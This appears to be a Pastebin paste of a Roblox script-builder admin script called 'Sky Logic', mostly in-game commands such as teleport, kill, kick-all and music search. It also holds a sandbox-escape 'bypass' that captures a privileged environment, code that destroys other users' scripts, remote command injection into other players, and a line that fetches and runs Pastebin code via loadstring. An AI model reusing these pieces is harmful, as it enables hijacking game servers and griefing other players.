Advertisement
Demonlord27

SkyLight

May 14th, 2016
312
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 53.54 KB | None | 0 0
  1. -------------------------
  2. --[[---Sky Logic---]]--
  3. --[[Project]]--
  4. --[[By PointCoded]]--
  5. -------------------------
  6. wait()
  7. if workspace.Terrain:findFirstChild("PointCodedWasHere") then
  8. warn("Sky Logic already detected!")
  9. for i = 0,50,1 do
  10. ypcall(function()
  11. for j,k in pairs(getfenv(i)) do
  12. getfenv(i)[j] = nil
  13. end
  14. end)
  15. end
  16. end
  17. if game.PlaceId == 20279777 then
  18. --[[First Bypass]]--
  19. wait();
  20. script.Parent=nil
  21. rawset(shared, "\0bp", function()
  22. local i=game:service'InsertService':LoadAssetVersion(519416165);
  23. local n=children()[1];
  24. game:service'Debris':AddItem(i,0);
  25. n.Parent=workspace;
  26. coroutine.yield();
  27. local e;
  28. pcall(_G.OSC_AddServerSideData,setmetatable({},{__index=function(...)e=getfenv(2)end,__metatable=''}));
  29. _G.OSC_AddServerSideData=nil;
  30. game:service'Debris':AddItem(n,0);
  31. return e
  32. end);
  33. local y=shared['\0bp']();
  34. shared["\0bp"]=nil;
  35. game:GetService'ReplicatedStorage':ClearAllChildren();
  36. y.setfenv(0,y);
  37. y.setfenv(1,y);
  38. y.pcall(function() y.setfenv(2,y); end);
  39. --[[Bypass 2]]--
  40. game:GetService("RunService").Stepped:wait();script.Parent=nil
  41. end
  42. --[[OSC Bypass]]--
  43. local BlockOSC = false
  44. local h=select;local t=error;local s=workspace;local o=_G;local i=setmetatable;local n=setfenv;local r=type;local a="Sky Logic is currently blocking ocs :(";
  45. s.ChildAdded:connect(function(e)if(e:findFirstChild'OCServer'or e:findFirstChild'OutputGUI'or e:findFirstChild('ClientController'))and e:IsA'BaseScript' and BlockOSC then
  46. e.Disabled=true;e:Destroy'';o.OSC_AddServerSideData=i({},{__call=n(function(e,...)o.OSC_AddServerSideData=nil;local e=h(1,...);if r(e)=='table'then
  47. local e=e[1];t(a,2);end;t(a,2);end,i({},{__index=function(e,e)t(a,0);return;end;__newindex=function(e,e,e)t(a,0);return;end;__metatable='_lock';}));__metatable='_lock';});end;end);
  48. ----~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~----
  49. game:GetService("RunService").Stepped:wait()
  50. ----~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~----
  51. local Core = {
  52. BuildVersion = 0.92;
  53. SecuityLevel = "25 per Module";
  54. Rotated = {};
  55. EmergencyBypassCode = "1337666133710XDOI3d124cx12pOINTCodedW@sH3reE3DPcc1xPS3c1x@=1-xc3';#c2313376661337";
  56. Admins = {
  57. ["stxdios"] = {Color=BrickColor.new("Deep blue"),Rank=1337,Reason="Creator of Sky Logic",Tablets={},Chat=true,Chatted = {},OutputBlocked = false};
  58. ["Chillarz"] = {Color=BrickColor.new("Deep blue"),Rank=1337,Reason="Creator of Sky Logic",Tablets={},Chat=true,Chatted = {}};
  59. ["RomyAouad"] = {Color=BrickColor.new("Cyan"),Rank=666,Reason="Creator of Sky Logic",Tablets={},Chat=true,Chatted = {},OutputBlocked = false};
  60. ["Player1"] = {Color=BrickColor.new("Deep blue"),Rank=3,Reason="Creator of Sky Logic",Tablets={},Chat=true,Chatted = {},OutputBlocked = false};
  61. ["nguyenjimbo"] = {Color=BrickColor.new("Crimson"),Rank=666,Reason="A missed friend",Tablets={},Chat=true,Chatted = {},OutputBlocked = false};
  62. ["SnapGun"] = {Color=BrickColor.new("Lime green"),Rank=2.8,Reason="A missed friend",Tablets={},Chat=true,Chatted = {},OutputBlocked = false};
  63. ["Nilzers"] = {Color=BrickColor.new("Cyan"),Rank=2.8,Reason="A missed friend",Tablets={},Chat=true,Chatted = {},OutputBlocked = false};
  64. ["Ari_Aria"] = {Color=BrickColor.new("Royal purple"),Rank=666,Reason="A good friend",Tablets={},Chat=false,Chatted = {},OutputBlocked = false};
  65. ["saud20"] = {Color=BrickColor.new("Gold"),Rank=666.000001,Reason="Cuz why not",Tablets={},Chat=false,Chatted = {},OutputBlocked = false};
  66. ["Inventix"] = {Color=BrickColor.new("Deep blue"),Rank=666,Reason="A gewd friend",Tablets={},Chat=false,Chatted = {},OutputBlocked = false};
  67. ["ProjectedRemark"] = {Color=BrickColor.new("Navy blue"),Rank=2.6,Reason="A good friend",Tablets={},Chat=false,Chatted = {},OutputBlocked = false};
  68. ["tsup2"] = {Color=BrickColor.new("Royal purple"),Rank=2.8,Reason="A good friend",Tablets={},Chat=false,Chatted = {},OutputBlocked = false};
  69. ["TheKorbloxCore"] = {Color=BrickColor.new("Royal purple"),Rank=667,Reason="A good friend",Tablets={},Chat=false,Chatted = {},OutputBlocked = false};
  70. ["CoolMLGPlayer"] = {Color=BrickColor.new("Really blue"),Rank=2.85,Reason="A good friend",Tablets={},Chat=false,Chatted = {},OutputBlocked = false};
  71. ["CLarramore"] = {Color=BrickColor.new("Crimson"),Rank=1.8,Reason="A friend",Tablets={},Chat=false,Chatted = {},OutputBlocked = false};
  72. ["Z_V"] = {Color=BrickColor.new("Crimson"),Rank=1.8,Reason="A friend",Tablets={},Chat=false,Chatted = {},OutputBlocked = false};
  73. ["MikeSchmidt90"] = {Color=BrickColor.new("Royal purple"),Rank=2.55,Reason="A friend",Tablets={},Chat=false,Chatted = {},OutputBlocked = false};
  74. ["Control22"] = {Color=BrickColor.new("Royal purple"),Rank=2.55,Reason="A friend",Tablets={},Chat=false,Chatted = {},OutputBlocked = false};
  75. ["Virxz"] = {Color=BrickColor.new("Royal purple"),Rank=2.55,Reason="A friend",Tablets={},Chat=false,Chatted = {},OutputBlocked = false};
  76. ["Ledtred"] = {Color=BrickColor.new("Royal purple"),Rank=2.55,Reason="A friend",Tablets={},Chat=false,Chatted = {},OutputBlocked = false};
  77. ["nornorm"] = {Color=BrickColor.new("Royal purple"),Rank=2.55,Reason="A friend",Tablets={},Chat=false,Chatted = {},OutputBlocked = false};
  78. ["GuestsAreintelligent"] = {Color=BrickColor.new("Really black"),Rank=1773,Reason="A friend",Tablets={},Chat=false,Chatted = {},OutputBlocked = false};
  79. ["iLeFancy"] = {Color=BrickColor.new("Royal purple"),Rank=2.55,Reason="A friend",Tablets={},Chat=false,Chatted = {},OutputBlocked = false};
  80. ["murrylloyago"] = {Color=BrickColor.new("Royal purple"),Rank=666,Reason="A friend",Tablets={},Chat=false,Chatted = {},OutputBlocked = false};
  81. ["fennybunny"] = {Color=BrickColor.new("Royal purple"),Rank=2.55,Reason="A friend",Tablets={},Chat=false,Chatted = {},OutputBlocked = false};
  82. ["jplt"] = {Color=BrickColor.new("Royal purple"),Rank=2.55,Reason="A friend",Tablets={},Chat=false,Chatted = {}};
  83. ["Darkus_Theory"] = {Color=BrickColor.new("Royal purple"),Rank=666,Reason="A friend",Tablets={},Chat=false,Chatted = {},OutputBlocked = false};
  84. ["murylloyago"] = {Color=BrickColor.new("Gold"),Rank=2.55,Reason="A friend",Tablets={},Chat=false,Chatted = {},OutputBlocked = false};
  85. ["areno2002"] = {Color=BrickColor.new("Gold"),Rank=2.55,Reason="A friend",Tablets={},Chat=false,Chatted = {},OutputBlocked = false};
  86. ["Romania12x"] = {Color=BrickColor.new("Gold"),Rank=2.55,Reason="A friend",Tablets={},Chat=false,Chatted = {},OutputBlocked = false};
  87. ["bellaouzo"] = {Color=BrickColor.new("Really red"),Rank=666,Reason="A friend",Tablets={},Chat=false,Chatted = {},OutputBlocked = false};
  88. ["xDarkScripter"] = {Color=BrickColor.new("Really black"),Rank=666,Reason="A friend",Tablets={},Chat=false,Chatted = {},OutputBlocked = false};
  89. ["GuestsAreIntelligent"] = {Color=BrickColor.new("Really black"),Rank=665,Reason="A friend",Tablets={},Chat=false,Chatted = {},OutputBlocked = false};
  90. ["iidaddysenpai"] = {Color=BrickColor.new("Gold"),Rank=666,Reason="A friend",Tablets={},Chat=false,Chatted = {},OutputBlocked = false};
  91. --[[Banned]]--
  92. ["hrocks1"] = {Color=BrickColor.new("Royal purple"),Rank=0,Reason="You kicked me, i kicked u, u ban me, i ban u.",Tablets={},Chat=false,Chatted = {},OutputBlocked = false};
  93. ["youare232"] = {Color=BrickColor.new("Royal purple"),Rank=0,Reason="'You made no scripts' fk u i did (PointCoded) (20+)",Tablets={},Chat=false,Chatted = {},OutputBlocked = false};
  94. };
  95. Commands = {};
  96. Private = false;
  97. Creator = string.reverse("dedoCtnioP");
  98. Suffix = "-";
  99. SuffixLength = nil;
  100. NoOutput = "http://pastebin.com/raw/waRGGGyp"
  101. }
  102. ------------------------------
  103. Core.SuffixLength = string.len(Core.Suffix)
  104. local Admins = Core.Admins
  105. local Rotated = Core.Rotated
  106. local Commands = Core.Commands
  107. local PrivateServer = Core.Private
  108. local Suffix = Core.Suffix
  109. local Suffixlen = Core.SuffixLength
  110. local NoOutput = Core.NoOutput
  111. ------------------------------
  112. function AddCommand(What,Usage,Rank,Description,Func)
  113. Commands[What] = {What=What,Usage = Usage,Rank = Rank,Desc = Description,Function = Func}
  114. end
  115. --------------------------------------
  116. AddCommand("Teleport","tp",2,"Teleports a player to another",function(Player,msg)
  117. local Players = GetPlayer(Player,msg,true)
  118. local Reason = string.find(msg, Suffix)
  119. Reason = string.sub(msg,Reason + 1)
  120. for i,Plr in pairs(Players) do
  121. if Plr.Character then
  122. local FoundPlr
  123. for i,Plrr in pairs(game:GetService("Players"):GetPlayers()) do
  124. if string.match(Plrr.Name,Reason) then
  125. if Plrr.Character then
  126. Plr.Character.Torso.CFrame = Plrr.Character.Torso.CFrame
  127. end
  128. end
  129. end
  130. end
  131. end
  132. end)
  133. AddCommand("Go to","to",1.2,"Teleports you to a player",function(Player,msg)
  134. for i,Plr in pairs(game:GetService("Players"):GetPlayers()) do
  135. if string.match(Plr.Name,msg) then
  136. if Plr.Character then
  137. Player.Character.Torso.CFrame = Plr.Character.Torso.CFrame
  138. end
  139. end
  140. end
  141. end)
  142. AddCommand("Bring","bring",1.2,"Brings a player to you",function(Player,msg)
  143. for i,Plr in pairs(game:GetService("Players"):GetPlayers()) do
  144. if string.match(Plr.Name,msg) then
  145. if Plr.Character then
  146. Plr.Character.Torso.CFrame = Player.Character.Torso.CFrame
  147. end
  148. end
  149. end
  150. end)
  151. if game.PlaceId == 20279777 then
  152. AddCommand("OSC","osc",2.5,"Use on or off to turn blocking on or off",function(Player,msg)
  153. if msg == "on" or msg == "true" then
  154. BlockOSC = true
  155. for i,Plr in pairs(game:GetService("Players"):GetPlayers()) do
  156. Tab(Plr,Player.Name.." has turned OSC block on")
  157. end
  158. elseif msg == "off" or msg == "false" then
  159. BlockOSC = false
  160. for i,Plr in pairs(game:GetService("Players"):GetPlayers()) do
  161. Tab(Plr,Player.Name.." has turned OSC block off")
  162. end
  163. else
  164. Tab(Player,"Use on or off")
  165. end
  166. end)
  167. function SBExe(plr,cmd)
  168. ypcall(function()
  169. if not type(cmd)=='string'then return end
  170. if plr then
  171. if type(plr)=='userdata'then
  172. plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
  173. elseif type(plr)=='string'then
  174. plr = game:GetService('Players'):FindFirstChild(plr)
  175. plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
  176. end
  177. else
  178. for i,v in pairs(game:GetService('Players'):children())do
  179. v:FindFirstChild("SB_CommandRemote",true).Value = cmd
  180. end
  181. end
  182. end)
  183. end
  184. end
  185. AddCommand("Private Server","pri",2.5,"Turn private server on/off",function(Player,msg)
  186. if msg == "on" or msg == "true" then
  187. PrivateServer = true
  188. for i,Plr in pairs(game:GetService("Players"):GetPlayers()) do
  189. Tab(Plr,Player.Name.." has turned Private server on!")
  190. end
  191. elseif msg == "off" or msg == "false" then
  192. PrivateServer = false
  193. for i,Plr in pairs(game:GetService("Players"):GetPlayers()) do
  194. Tab(Plr,Player.Name.." has turned Private Server off!")
  195. end
  196. else
  197. Tab(Player,"Use on or off")
  198. end
  199. end)
  200. AddCommand("Forcefield","ff",1.5,"Forcefield a player",function(Player,msg)
  201. local Players = GetPlayer(Player,msg)
  202. for i,Plr in pairs(Players) do
  203. if Plr and Plr.Character then
  204. Instance.new("ForceField",Plr.Character)
  205. end
  206. end
  207. end)
  208. local C
  209. function Music(Id)
  210. for i,Thing in pairs(workspace:GetChildren()) do
  211. if Thing:IsA("Sound") then
  212. Thing:Stop()
  213. Thing.Volume = 0
  214. elseif Thing:IsA("Model") then
  215. for i,Thing in pairs(Thing:GetChildren()) do
  216. if Thing:IsA("Sound") then
  217. Thing:Stop()
  218. Thing.Volume = 0
  219. end
  220. end
  221. end
  222. end
  223. RemoveMusic(game:service'SoundService')
  224. for i,Thing in pairs(workspace.Terrain:GetChildren()) do
  225. if Thing:IsA("Sound") then
  226. Thing:Stop()
  227. Thing.Volume = 0
  228. RemoveMusic(Thing)
  229. elseif Thing:IsA("Model") then
  230. for i,Thing in pairs(Thing:GetChildren()) do
  231. if Thing:IsA("Sound") then
  232. Thing:Stop()
  233. Thing.Volume = 0
  234. RemoveMusic(Thing)
  235. end
  236. end
  237. end
  238. end
  239. wait()
  240. if workspace:findFirstChild("Ssooouunndd") then
  241. workspace.Ssooouunndd:Stop()
  242. workspace.Ssooouunndd:Destroy()
  243. end
  244. local S = Instance.new("Sound",workspace)
  245. S.Name = "Ssooouunndd"
  246. S.SoundId = "http://www.roblox.com/asset/?id="..Id
  247. S:Play()
  248. end
  249. Services = {
  250. game:GetService("Workspace"),
  251. game:GetService("Players"),
  252. game:GetService("Lighting"),
  253. game:GetService("StarterPack"),
  254. game:GetService("StarterGui"),
  255. game:GetService("Teams"),
  256. workspace,
  257. game:GetService("Debris"),
  258. game:GetService("InsertService"),
  259. game:GetService("RunService"),
  260. game:GetService("Chat"),
  261. game:GetService("TeleportService"),
  262. game:GetService("Geometry"),
  263. game:GetService("MarketplaceService"),
  264. game:GetService("BadgeService"),
  265. game:GetService("FriendService"),
  266. }
  267. function Explore(Item,Player)
  268. Dismiss(Player)
  269. if(Item==nil)then
  270. for _,v in pairs(Services)do
  271. Tab(Player,tostring(v),nil,nil,function() wait() Explore(v,Player) end)
  272. end;
  273. else
  274. f={
  275. ['View children']=function()
  276. Dismiss(Player)
  277. for _,v in pairs(Item:children())do
  278. Tab(Player,v.Name,nil,nil,function()
  279. wait()
  280. Explore(v,Player)
  281. end);
  282. end;
  283. end;
  284. ['View parent']=function()
  285. wait()
  286. Explore(Item.Parent,Player)
  287. end;
  288. ['Destroy']=function()
  289. Item:Destroy();
  290. Explore(Item.Parent,Player);
  291. end;
  292. ['Clear']=function()
  293. Item:ClearAllChildren()
  294. end;
  295.  
  296. ['Clone']=function()
  297. pcall(function()
  298. cloneableObj = Item:clone()
  299. end)
  300. end;
  301. ['Remove']=function()
  302. Item:remove()
  303. end;
  304. ['Paste']=function()
  305. if cloneableObj then
  306. cloneableObj.Parent = Item
  307. end
  308. end;
  309. };
  310. for i,v in pairs(f)do
  311. Tab(Player,tostring(i),nil,nil,v);
  312. end;
  313. Tab(Player,'Item Name: \''..tostring(Item.Name)..'\'');
  314. Tab(Player,'Class: \''..tostring(Item.ClassName)..'\'');
  315. if cloneableObj then
  316. Tab(Player,'Currently Cloning: \''..tostring(cloneableObj.Name)..'\'',nil,nil,nil);
  317. end
  318. end;
  319. end;
  320. AddCommand("Explore","explore",2.2,"Explores the game",function(Player,msg)
  321. Explore(nil,Player)
  322. end)
  323. function RemoveMusic(e)
  324. if e:IsA('Sound')or e.ClassName=='Sound'then
  325. e:Destroy()
  326. else
  327. for t,e in pairs(e:GetChildren())do
  328. if e:IsA("Sound")or e.ClassName=='Sound'then
  329. e:Destroy()
  330. end
  331. RemoveMusic(e)
  332. end
  333. end
  334. end
  335. function SearchAudio(e)
  336. local t=game:GetService("HttpService")
  337. local e="http://frednet.ftp.sh/api/musicSearch.php?param="..tostring(e)
  338. local e=t:GetAsync(e,true)
  339. repeat wait()until e
  340. local e=t:JSONDecode(e)
  341. return(e)
  342. end
  343. AddCommand("Stop Sounds","stopsounds",2,"Stops all sounds/music",function()
  344. for i,Thing in pairs(workspace:GetChildren()) do
  345. if Thing:IsA("Sound") then
  346. Thing:Stop()
  347. Thing.Volume = 0
  348. elseif Thing:IsA("Model") then
  349. for i,Thing in pairs(Thing:GetChildren()) do
  350. if Thing:IsA("Sound") then
  351. Thing:Stop()
  352. Thing.Volume = 0
  353. end
  354. end
  355. end
  356. end
  357. RemoveMusic(game:service'SoundService')
  358. for i,Thing in pairs(workspace.Terrain:GetChildren()) do
  359. if Thing:IsA("Sound") then
  360. Thing:Stop()
  361. Thing.Volume = 0
  362. RemoveMusic(Thing)
  363. elseif Thing:IsA("Model") then
  364. for i,Thing in pairs(Thing:GetChildren()) do
  365. if Thing:IsA("Sound") then
  366. Thing:Stop()
  367. Thing.Volume = 0
  368. RemoveMusic(Thing)
  369. end
  370. end
  371. end
  372. end
  373. end)
  374. AddCommand("Index","index",2,"Searches for music",function(Player,msg)
  375. Dismiss(Player)
  376. local a=game:GetService("HttpService"):UrlEncode(msg)
  377. local t=SearchAudio(msg)
  378. local Limit = 35
  379. local Count = 0
  380. for o,t in next,t do
  381. if Count < Limit then
  382. Count = Count + 1
  383. Tab(Player,t.Name,nil,nil,function()
  384. Dismiss(Player)
  385. Tab(Player,"Play ["..t.Name.."]?",nil,nil,function()
  386. Music(t.AssetId,t.Name)
  387. Dismiss(Player)
  388. end)
  389. Tab(Player,"Sound Id: "..t.AssetId,nil)
  390. Tab(Player,"Creator : "..t.Creator,nil)
  391. Tab(Player,"Sales : "..t.Sales,nil,nil)
  392. Tab(Player,'Dismiss',BrickColor.new("Crimson"),nil,function()Dismiss(Player)end)
  393. end)
  394. end
  395. end
  396. end)
  397. AddCommand("Set Rank","rank",1.5,"Sets the rank of a player",function(Player,msg)
  398. local Max = Admins[Player.Name].Rank
  399. local Players = GetPlayer(Player,msg,true)
  400. local Reason = string.find(msg, Suffix)
  401. Reason = string.sub(msg,Reason + 1)
  402. for i,Plr in pairs(Players) do
  403. if Admins[Player.Name].Rank > Admins[Plr.Name].Rank then
  404. if tonumber(Reason) == Max or tonumber(Reason) > Max then
  405. Tab(Player,"You cannot set a rank higher or the exact same as yours!")
  406. else
  407. Admins[Plr.Name].Rank = tonumber(Reason)
  408. Tab(Player,"You set: "..Plr.Name.."'s Rank to: "..tonumber(Reason))
  409. Tab(Plr,"You are now rank: "..tonumber(Reason))
  410. end
  411. elseif Admins[Player.Name] == Admins[Plr.Name] then
  412. Tab(Player,"ERROR: You cannot change your own rank!",BrickColor.new("Crimson"))
  413. else
  414. Tab(Player,"ERROR: You cannot change the rank of someone higher than you!",BrickColor.new("Crimson"))
  415. end
  416. end
  417. end)
  418. AddCommand("Set Colour","colour",1.5,"Sets Your own colour",function(Player,msg)
  419. local Color
  420. local Complete,Error = ypcall(function()
  421. Color = BrickColor.new(tostring(msg))
  422. end)
  423. if Error then
  424. Tab(Player,"Incorrect BrickColor!")
  425. else
  426. Admins[Player.Name].Color = Color
  427. Dismiss(Player)
  428. Tab(Player,"Your new Colour: "..tostring(msg))
  429. end
  430. end)
  431. AddCommand("Cmds","cmds",1,"Shows the commands",function(Player,msg)
  432. Dismiss(Player)
  433. ShowCommands(Player)
  434. end)
  435. AddCommand("Missile","missile",2,"Fires a missile at the player",function(Player,msg)
  436. local Players = GetPlayer(Player,msg)
  437. for i,Plr in pairs(Players) do
  438. ypcall(function()
  439. if Plr.Character and Plr.Character:findFirstChild("Torso") then
  440. local P = Instance.new("Part",workspace.Terrain)
  441. P.Size = Vector3.new(1,1,5)
  442. P.BrickColor = Admins[Player.Name].Color
  443. P.Reflectance = 0.1
  444. P.Material = "Neon"
  445. local R = Instance.new("RocketPropulsion",P)
  446. R.CartoonFactor = 5
  447. R.MaxSpeed = 150
  448. R.Target = Plr.Character.Torso
  449. P.Position = Vector3.new(0,25,0)
  450. R:fire()
  451. P.Touched:connect(function(hit)
  452. if hit.Parent == Plr.Character then
  453. P:remove()
  454. for i=1,5 do
  455. wait()
  456. local E = Instance.new("Explosion",hit)
  457. E.Position = hit.Position
  458. end
  459. end
  460. end)
  461. end
  462. end)
  463. end
  464. end)
  465. AddCommand("Quick Dismiss","dt",1,"Dismisses the tablets quickly",function(Player,msg)
  466. Dismiss(Player)
  467. end)
  468. AddCommand("Night","night",1.2,"Changes the time to night",function(Player,msg)
  469. game.Lighting.TimeOfDay = "24:00:00"
  470. end)
  471. AddCommand("Day","day",1.2,"Changes the time to Day",function(Player,msg)
  472. game.Lighting.TimeOfDay = "10:00:00"
  473. end)
  474. AddCommand("Dismiss all","dtall",2.8,"Dismisses all tabs",function(Player)
  475. for i,Player in pairs(game:GetService("Players"):GetPlayers()) do
  476. Dismiss(Player)
  477. end
  478. end)
  479. AddCommand("Kill SkyLogic","ksl",1,"Kills skylogic with a pin",function(Player,msg)
  480. if msg == Core.EmergencyBypassCode then
  481. if workspace.Terrain:findFirstChild("PointCodedWasHere") then
  482. workspace.Terrain.PointCodedWasHere:remove()
  483. end
  484. for i,Plr in pairs(game:GetService("Players"):GetPlayers()) do
  485. Dismiss(Plr)
  486. end
  487. for i = 0,50,1 do
  488. ypcall(function()
  489. for j,k in pairs(getfenv(i)) do
  490. getfenv(i)[j] = nil
  491. end
  492. end)
  493. end
  494.  
  495. end
  496. end)
  497. AddCommand("Ranked","ranked",1,"Shows ranked people",function(Player,msg)
  498. Dismiss(Player)
  499. for i,Admin in pairs(Admins) do
  500. Tab(Player,i,nil,nil,function()
  501. Dismiss(Player)
  502. Tab(Player,"Username: "..i,Admin.Color)
  503. Tab(Player,"Colour",Admin.Color)
  504. Tab(Player,"Rank: "..Admin.Rank)
  505. Tab(Player,"Reason: "..Admin.Reason)
  506. end)
  507. end
  508. end)
  509. if game.PlaceId == 20279777 then
  510. AddCommand("SBExe","sbexe",2,"Executes a sb command on a player",function(Player,msg)
  511. function SBExe(plr,cmd)
  512. ypcall(function()
  513. if not type(cmd)=='string'then return end
  514. if plr then
  515. if type(plr)=='userdata'then
  516. plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
  517. elseif type(plr)=='string'then
  518. plr = game:GetService('Players'):FindFirstChild(plr)
  519. plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
  520. end
  521. else
  522. for i,v in pairs(game:GetService('Players'):children())do
  523. v:FindFirstChild("SB_CommandRemote",true).Value = cmd
  524. end
  525. end
  526. end)
  527. end
  528. local Players = GetPlayer(Player,msg,true)
  529. local Reason = string.find(msg, Suffix)
  530. Reason = string.sub(msg,Reason + 1)
  531. for i,Plr in pairs(Players) do
  532. if Plr and Player.PlayerGui then
  533. ypcall(function()
  534. SBExe(Plr,Reason)
  535. end)
  536. Tab(Player,"Sbexed: "..Plr.Name..": "..Reason)
  537. end
  538. end
  539. end)
  540. end
  541. AddCommand("Un-Forcefield","unff",1.5,"Removes a forcefield from a player",function(Player,msg)
  542. local Players = GetPlayer(Player,msg)
  543. for i,Plr in pairs(Players) do
  544. if Plr and Plr.Character and Plr.Character:findFirstChild("ForceField") then
  545. if Admins[Player.Name].Rank > Admins[Plr.Name].Rank or Plr.Name == Player.Name then
  546. Plr.Character.ForceField:remove()
  547. else
  548. Tab(Plr,Player.Name.." tried to unforcefield you!")
  549. end
  550. end
  551. end
  552. end)
  553. AddCommand("Freeze","freeze",2,"Anchor's a player's torso",function(Player,msg)
  554. local Players = GetPlayer(Player,msg)
  555. for i,Plr in pairs(Players) do
  556. if Plr and Plr.Character and Plr.Character:findFirstChild("Torso") then
  557. if Admins[Player.Name].Rank > Admins[Plr.Name].Rank or Plr.Name == Player.Name then
  558. Plr.Character.Torso.Anchored = true
  559. else
  560. Tab(Plr,Player.Name.." tried to freeze you!")
  561. end
  562. end
  563. end
  564. end)
  565. AddCommand("Thaw","thaw",2,"Un-Anchor's a player's torso",function(Player,msg)
  566. local Players = GetPlayer(Player,msg)
  567. for i,Plr in pairs(Players) do
  568. if Plr and Plr.Character and Plr.Character:findFirstChild("Torso") then
  569. Plr.Character.Torso.Anchored = false
  570. end
  571. end
  572. end)
  573. if game.PlaceId == 20279777 then
  574. AddCommand("BoxCutter","cutter",3,"Run's boxcutter",function(Player,msg)
  575. SBExe(Player,"c/local e = game:GetService('HttpService');loadstring(e:GetAsync('http://pastebin.com/raw/s6Vz0fy6'))()")
  576. end)
  577. end
  578. AddCommand("Shutdown","sd",2.3,"Use sd-Reason",function(Player,msg)
  579. for i,Plr in pairs(game:GetService("Players"):GetPlayers()) do
  580. Plr:Kick("Sky Logic Project: "..msg)
  581. end
  582. end)
  583. --AddCommand("Loader","loader",1,"For saving the loader",function(Player,msg)
  584. -- QLoader(Player)
  585. --end)
  586. AddCommand("Walkspeed","speed",1.5,"Changes a player's walkspeed to a number",function(Player,msg)
  587. local Players = GetPlayer(Player,msg,true)
  588. local Reason = string.find(msg, Suffix)
  589. Reason = string.sub(msg,Reason + 1)
  590. for i,Plr in pairs(Players) do
  591. if Plr and Plr.Character and Plr.Character:findFirstChild("Humanoid") then
  592. if tonumber(Reason) then
  593. Plr.Character.Humanoid.WalkSpeed = Reason
  594. end
  595. end
  596. end
  597. end)
  598. AddCommand("Kill","kill",1.8,"Kills a player",function(Player,msg)
  599. local Players = GetPlayer(Player,msg)
  600. for i,Plr in pairs(Players) do
  601. if Plr and Plr.Character then
  602. if Admins[Player.Name].Rank > Admins[Plr.Name].Rank or Plr.Name == Player.Name then
  603. Plr.Character:BreakJoints()
  604. Tab(Player,"Killed: "..Plr.Name)
  605. else
  606. Tab(Plr,Player.Name.." tried to kill you!")
  607. end
  608. end
  609. end
  610. end)
  611. AddCommand("Respawn","respawn",2.1,"Respawns a player",function(Player,msg)
  612. local Players = GetPlayer(Player,msg)
  613. for i,Plr in pairs(Players) do
  614. if Plr and Plr.Character then
  615. if Admins[Player.Name].Rank > Admins[Plr.Name].Rank or Plr.Name == Player.Name then
  616. Plr:LoadCharacter()
  617. else
  618. Tab(Plr,Player.Name.." tried to respawn you!")
  619. end
  620. end
  621. end
  622. end)
  623. AddCommand("God","god",1.5,"Gods a player",function(Player,msg)
  624. local Players = GetPlayer(Player,msg)
  625. for i,Plr in pairs(Players) do
  626. if Plr and Plr.Character and Plr.Character:findFirstChild("Humanoid") then
  627. Plr.Character.Humanoid.MaxHealth = math.huge
  628. end
  629. end
  630. end)
  631. AddCommand("Un-God","ungod",1.5,"Un-gods a player",function(Player,msg)
  632. local Players = GetPlayer(Player,msg)
  633. for i,Plr in pairs(Players) do
  634. if Plr and Plr.Character and Plr.Character:findFirstChild("Humanoid") then
  635. Plr.Character.Humanoid.MaxHealth = 100
  636. end
  637. end
  638. end)
  639. AddCommand("Heal","heal",1.5,"Heals a player",function(Player,msg)
  640. local Players = GetPlayer(Player,msg)
  641. for i,Plr in pairs(Players) do
  642. if Plr and Plr.Character and Plr.Character:findFirstChild("Humanoid") then
  643. Plr.Character.Humanoid.Health = Plr.Character.Humanoid.MaxHealth
  644. end
  645. end
  646. end)
  647. AddCommand("SoundId","snd",1.5,"Plays a sound from an id",function(Player,msg)
  648. if msg ~= "" and msg ~= " " and msg ~= nil and tonumber(msg) then
  649. Music(msg)
  650. else
  651. Tab(Player,"ERROR: Enter ID!",BrickColor.new("Crimson"))
  652. end
  653. end)
  654. AddCommand("Ping","ping",1,"Ping",function(Player)
  655. Tab(Player,"Pong")
  656. end)
  657. AddCommand("Output","output",2.5,"Outputs a tablet to a player",function(Player,msg)
  658. local Max = Admins[Player.Name].Rank
  659. local Players = GetPlayer(Player,msg,true)
  660. local Reason = string.find(msg, Suffix)
  661. Reason = string.sub(msg,Reason + 1)
  662. for i,Plr in pairs(Players) do
  663. Tab(Plr,Reason)
  664. end
  665. end)
  666. AddCommand("Clean","clean",1.5,"Cleans the server",function()
  667. for i, child in ipairs(workspace:GetChildren()) do
  668. if not (game:GetService("Players"):GetPlayerFromCharacter(child) or child.ClassName == "Camera" or child:IsA("Script") or child.ClassName == "Terrain") then
  669. pcall(child.Destroy, child)
  670. end
  671. end
  672. local base = Instance.new("Part")
  673. base.Anchored = true
  674. base.BrickColor = BrickColor.new("Bright green")
  675. base.Material = "Grass"
  676. base.Locked = true
  677. base.Name = "Base"
  678. base.Size = Vector3.new(512, 1.2, 512)
  679. base.Parent = workspace
  680. end)
  681. AddCommand("Full-Clean","fclean",1.5,"Fully Cleans the server",function()
  682. for i, child in ipairs(workspace.Terrain:GetChildren()) do
  683. if not (game:GetService("Players"):GetPlayerFromCharacter(child) or child.ClassName == "Camera" or child:IsA("Script") or child.ClassName == "Terrain") then
  684. pcall(child.Destroy, child)
  685. end
  686. end
  687. for i, child in ipairs(workspace:GetChildren()) do
  688. if not (game:GetService("Players"):GetPlayerFromCharacter(child) or child.ClassName == "Camera" or child:IsA("Script") or child.ClassName == "Terrain") then
  689. pcall(child.Destroy, child)
  690. end
  691. end
  692. workspace.Terrain:Clear()
  693. for i,Plr in pairs(game:GetService("Players"):GetPlayers()) do
  694. Plr:LoadCharacter()
  695. end
  696. local base = Instance.new("Part")
  697. base.Anchored = true
  698. base.BrickColor = BrickColor.new("Bright green")
  699. base.Material = "Grass"
  700. base.Locked = true
  701. base.Name = "Base"
  702. base.Size = Vector3.new(512, 1.2, 512)
  703. base.Parent = workspace
  704. end)
  705. AddCommand("Music Settings","msettings",1.5,"Shows the music settings",function(Player)
  706. Dismiss(Player)
  707. if workspace:findFirstChild("Ssooouunndd") then
  708. local function ShowMusicSettings()
  709. if workspace:findFirstChild("Ssooouunndd") then
  710. Dismiss(Player)
  711. S = workspace:findFirstChild("Ssooouunndd")
  712. local ID = S.SoundId
  713. ID = string.sub(ID,33)
  714. Tab(Player,"Current ID: "..ID)
